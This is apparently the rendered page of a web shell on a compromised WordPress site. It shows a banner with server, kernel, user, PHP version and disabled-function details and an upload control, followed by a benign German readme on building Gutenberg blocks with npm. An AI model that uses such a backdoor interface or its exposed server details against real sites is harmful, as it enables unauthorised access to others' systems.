WS_OK_7.4.33 HEX
HEX
Server: nginx/1.21.4
System: Linux v12674 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: endtheignorance (1014)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v12674/lcahouston/public_html/wp-content/themes/enfold/wp-blocks/readme.txt
1. Blockregistrierung mit PHP:

siehe ..\enfold\config-gutenberg\class-avia-gutenberg.php  handler_wp_register_scripts()


2. Erstelle den Block-Ordner für textblock in wp-blocks/custom-blocks/textblock:

- Erstelle die block.json-Datei ../src/textblock/
- Erstelle die index.js in ../src/textblock/
- Erstelle die style.css in ../src/textblock/


3. Abhängigkeiten installieren (kann länger dauern)

Öffne das Verzeichnis wp-blocks in deinem Terminal/Commandline.

Initialisiere ein npm-Projekt + WordPress-Skripte:

npm init -y
npm install @wordpress/scripts --save-dev

Füge diese Skripte zu package.json hinzu:

"scripts": {
    "build": "wp-scripts build",
    "start": "wp-scripts start",
}


Baue die JavaScript-Dateien:

npm run start     für entwickeln
npm run build


---------

WP Folderstruktur für zentrale Verwaltung der Blöcke:

wp-blocks/
├── src/
│   ├── text-block/
│   │   ├── block.json
│   │   ├── index.js
│   │   ├── style.css
│   ├── image-block/
│       ├── block.json
│       ├── index.js
│       ├── style.css
├── build/
│   ├── text-block/
│   │   ├── index.js
├── package.json
└── node_modules/